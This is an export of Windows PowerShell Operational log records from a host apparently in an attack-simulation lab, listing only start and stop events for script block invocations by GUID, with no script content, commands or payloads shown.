Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023021
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023020
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023019
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023018
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023017
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023016
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023015
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023034
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023033
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023032
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023031
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023030
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023029
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023028
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023027
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023026
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023025
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023044
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023043
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023042
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023041
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023040
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023039
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023038
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023037
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023036
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023035
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023054
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023053
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023052
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023051
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023050
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023049
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023048
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023047
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023046
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023045
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023064
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023063
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023062
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023061
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023060
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023059
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023058
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023057
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023056
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023055
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023074
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023073
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023072
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023071
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023070
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023069
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023068
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
